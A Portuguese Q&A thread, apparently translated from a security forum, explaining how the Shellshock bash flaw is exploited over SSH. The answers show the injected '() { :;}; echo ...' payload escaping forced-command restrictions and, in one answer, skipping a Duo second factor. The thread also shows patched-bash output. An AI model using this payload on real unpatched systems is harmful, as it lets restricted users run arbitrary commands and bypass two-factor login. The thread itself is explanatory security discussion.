como o shellshock pode ser explorado pelo SSH?

Question

Aparentemente, o shellshock Bash explora CVE -2014-6271 pode ser explorado pela rede via SSH. Eu posso imaginar como o exploit funcionaria via Apache / CGI, mas não consigo imaginar como isso funcionaria no SSH?

Alguém por favor pode fornecer um exemplo de como o SSH seria explorado e que mal poderia ser feito ao sistema?

ESCLARECIMENTO

AFAIU, apenas um usuário autenticado pode explorar esta vulnerabilidade via SSH. De que serve essa exploração para alguém que tem acesso legítimo ao sistema? Quero dizer, esse exploit não tem escalação de privilégios (ele não pode se tornar root), então ele não pode fazer mais do que ele poderia ter feito depois de simplesmente fazer login legitimamente via SSH.

    

Answer 1

Um exemplo em que isso pode ser explorado é em servidores com um comando authorized_keys forced. Ao adicionar uma entrada a ~/.ssh/authorized_keys , você pode prefixar a linha com command="foo" para forçar o foo a ser executado sempre que a chave pública ssh for usada. Com essa exploração, se o shell do usuário de destino estiver definido como bash , eles poderão aproveitar a exploração para executar outras coisas além do comando para o qual são forçados.

Isso provavelmente faria mais sentido no exemplo, então aqui está um exemplo:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\"echo starting sleep; sleep 1\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Aqui, configuramos um usuário testuser , que força qualquer conexão ssh usando sua chave ssh para executar echo starting sleep; sleep 1 .

Podemos testar isso com:

$ ssh testuser@localhost echo something else
starting sleep

Observe como o echo something else não é executado, mas o starting sleep mostra que o comando forçado foi executado.

Agora vamos mostrar como essa exploração pode ser usada:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Isso funciona porque sshd define a variável de ambiente SSH_ORIGINAL_COMMAND para o comando passado. Portanto, mesmo que sshd tenha executado sleep , e não o comando que eu disse, por causa da exploração, meu código ainda é executado.

    

Answer 2

Expandindo o exemplo do Ramesh - se você usar dois fatores de autenticação, é possível ignorar o segundo fator usando esse exploit, dependendo de como ele é implementado.

- Login normal -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Código em execução sem 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Você perceberá que ele executou o código sem solicitar 2FAs.

- Depois de remendar o bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for 'SSH_ORIGINAL_COMMAND’

    

Answer 3

Shellshock é uma vulnerabilidade no bash, não no SSH. Para explorá-lo, um invasor precisa fazer com que o sistema vulnerável execute o bash e controlar o valor de uma variável de ambiente que será passada para o bash.

Para alcançar um processo bash através do SSH, o invasor precisa passar as etapas de autenticação. (Pode haver vetores de ataque por meio de outros serviços de rede, mas eles estão além do escopo deste segmento.) Se a conta tiver permissão para executar comandos shell arbitrários de qualquer maneira, não haverá ataque. A vulnerabilidade entra em ação se a conta estiver restrita para executar comandos específicos: por exemplo, uma conta somente do SFTP, ou uma conta somente do git, etc.

Existem várias maneiras de restringir uma conta para executar um comando específico com SSH: com a opção ForceCommand em sshd_config ou com command= . restrição no arquivo authorized_keys . Se o shell do usuário é bash, a vulnerabilidade do Shellshock permite que um usuário que normalmente teria acesso apenas à conta restrita ignore a restrição e execute comandos arbitrários.